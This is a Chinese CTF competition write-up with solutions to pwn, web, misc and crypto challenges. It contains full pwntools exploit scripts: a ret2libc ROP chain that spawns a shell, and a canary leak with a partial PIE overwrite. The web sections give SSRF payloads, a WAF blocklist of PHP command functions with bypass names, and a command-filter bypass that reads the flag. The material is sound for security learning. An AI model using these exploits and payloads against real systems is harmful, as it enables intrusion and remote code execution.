“轩辕杯”云盾砺剑CTF题解
PWN
lllibc
检查附件保护情况:

ida64打开分析
ssize_t vuln()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
write(1, "Libc how to win?\n", 0x11uLL);
return read(0, buf, 0x1F4uLL);
}
栈溢出,只有write,read的got表,有ROP

打ret2libc即可
EXP:
from pwn import *
target='./lllibc'
p=remote('27.25.151.26',30657)
#p = process(target) # 或者使用 remote("host", port)
elf=ELF(target)
context.log_level = "debug" # 设置日志级别
se = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
rc = lambda num : p.recv(num)
rl = lambda : p.recvline()
ru = lambda delims : p.recvuntil(delims)
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
info = lambda tag, addr : log.info(tag + " -> " + hex(addr))
ia = lambda : p.interactive()
#leaked_data = ru(b"\x7f")
#libc_base = uu64(leaked_data[-6:]) - 0x68 - libc.symbols['__malloc_hook']
#info("libc_base", libc_base)
#malloc_hook = libc_base + libc.symbols['__malloc_hook']
#free_hook = libc_base + libc.symbols['__free_hook']
#system = libc_base + libc.symbols['system']
#bin_sh = next(libc.search(b'/bin/sh'))
#info("malloc_hook", malloc_hook)
#info("free_hook", free_hook)
#info("system", system)
#info("/bin/sh", bin_sh)
def dbg():
gdb.attach(p)
pause()
write_plt=elf.plt['write']
write_got=elf.got['write']
rdi=0x40117e
rsi=0x401180
rdx=0x401182
vuln=0x4011EC
ret=0x401229
payload=b'a'*24+p64(rsi)+p64(write_got)+p64(rdi)+p64(1)+p64(rdx)+p64(50)+p64(write_plt)+p64(vuln)
sla(b'Libc how to win?\n',payload)
write_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write_addr))
libc_base=write_addr-0x114870
system=libc_base+0x050d70
bin_sh=libc_base+0x1d8678
pay=b'a'*24+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
sla(b'Libc how to win?\n',pay)
ia()

it_is_a_canary
检查附件

ida64打开分析
漏洞函数:
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Is it a canary?");
read(0, buf, 0x30uLL);
printf("You say: %s.", buf);
read(0, buf, 0x30uLL);
puts("What is PIE?");
return v2 - __readfsqword(0x28u);
}
栈:
-0000000000000020 buf db ?
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
溢出到canary,使其泄露canary,也泄露了rbp,但是不知道怎么利用
下断点调试,发现最后是要ret到main+39位置的

然后去ida找到有后门函数,并且满足callsystem的地方1265

由于开启了PIE,我们只能往返回地址覆盖后四位为/?265
有1/16的概率返回后门来getshell
试两次就出来了

from pwn import *
target='./it_is_a_canary'
#p = process(target) # 或者使用 remote("host", port)
p=remote('27.25.151.26',32338)
elf=ELF(target)
context.log_level = "debug" # 设置日志级别
se = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
rc = lambda num : p.recv(num)
rl = lambda : p.recvline()
ru = lambda delims : p.recvuntil(delims)
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
info = lambda tag, addr : log.info(tag + " -> " + hex(addr))
ia = lambda : p.interactive()
def dbg():
gdb.attach(p)
pause()
pay=b'a'*25
sa(b'Is it a canary?',pay)
# dbg()
ru(b'a'*25)
canary=rc(7)
print(canary)
canary=b'\x00'+canary
print(canary)
canary=u64(canary)
print(hex(canary))
rbp=rc(6)
rbp=u64(rbp.ljust(8,b'\x00'))
print(hex(rbp))
rsp=rbp+0x18
print(hex(rsp))
# dbg()
pay2=b'a'*24+p64(canary)+b'a'*8+b'\x65\xa2'
dbg()
se(pay2)
ia()
web
ezflask
输入1,把URL丢到fenjing分析,之后直接执行shell就行


ezjs
打开开发者模式

看到main.js,只是通过前端判断输出flag
在控制台执行即可
game.score = 100000000000;
current_score.innerHTML = "100000000000";
// 查看是否有公开的触发函数,如:
if (typeof game.onSuccess === 'function') {
game.onSuccess();
} else {
// 否则手动调用 fetch
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=100000000000'
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
});
}

签到
输入new

打开yakit抓包,按照提示输入,第二关

输入2025 0即可

第三关:
<?php
error_reporting(0);
// 判断 Referer 是否符合
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (strpos($referer, 'secretcode') !== false) {
// 进一步要求POST参数
if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') {
echo file_get_contents('./xixi.txt');
} else {
echo "Referer对了,但是POST参数呢?";
}
} else {
echo "你缺少正确的Referer头~";
}
?>
抓包加上Referer: http://anything/secretcode
key=ctfpass

第四关

接着抓包,我忘记截图了,好像UA头加上那个就行 identity=n1c3

第五关

丢给ai解出 W3lC0E_CtF

最后一关:
命令绕过即可:
最后利用指令绕过WAF,检测cat flag,还有很多命令
awk '{print}' /fla*

SSRF
丢给chat
你可以逐个尝试以下 payload,观察是否能触发内网请求:
javascript复制编辑?url=http:/127.0.0.1/
?url=http:/localhost/
?url=http:/127.0.0.1/flag
?url=http:/localhost/flag
还可以尝试常见内网服务端口:
javascript复制编辑?url=http:/127.0.0.1:80/
?url=http:/127.0.0.1:8080/
?url=http:/127.0.0.1:5000/


访问得到flag
ezrce
命令执行绕过WAF:
<?php
error_reporting(0);
highlight_file(__FILE__);
function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);
$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);
if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}
$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];
if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>
函数名 |
|---|
readgzfile |
gzfile |
zlib_decode |
php_strip_whitespace |
Misc
Terminal Hacker
跟着提示过一编即可

Cryto
easy_rsa
丢给AI,然后去分解一下得到p,q,用ai生成的脚本跑一下即可

from sympy import mod_inverse
# RSA 参数
e = 65537
n = 1000000000000000000000000000156000000000000000000000000005643
c = 418535905348643941073541505434424306523376401168593325605206
# 分解 n 为两个素数 p 和 q
p = 1000000000000000000000000000057
q = 1000000000000000000000000000099
# 检查是否正确分解
assert p * q == n, "Error: n is not correctly factored!"
# 计算 φ(n)
phi_n = (p - 1) * (q - 1)
# 计算私钥 d
d = mod_inverse(e, phi_n)
# 解密密文
m = pow(c, d, n)
# 将明文转换为可读字符串
flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big').decode('utf-8')
# 输出结果
print("Decrypted message:")
print(flag)

dp
简单解密,丢给chat生成脚本
import math
# 提供的参数
n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
e = 65537
# 枚举 k,寻找能整除的 p
for k in range(1, e):
if (e * dp - 1) % k == 0:
p = ((e * dp - 1) // k) + 1
if n % p == 0:
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(f"明文: {m}")
print(f"明文十六进制: {hex(m)}")
print(f"明文字符串: {bytes.fromhex(hex(m)[2:]).decode('utf-8', errors='ignore')}")
break
跑一次即可:


浙公网安备 33010602011771号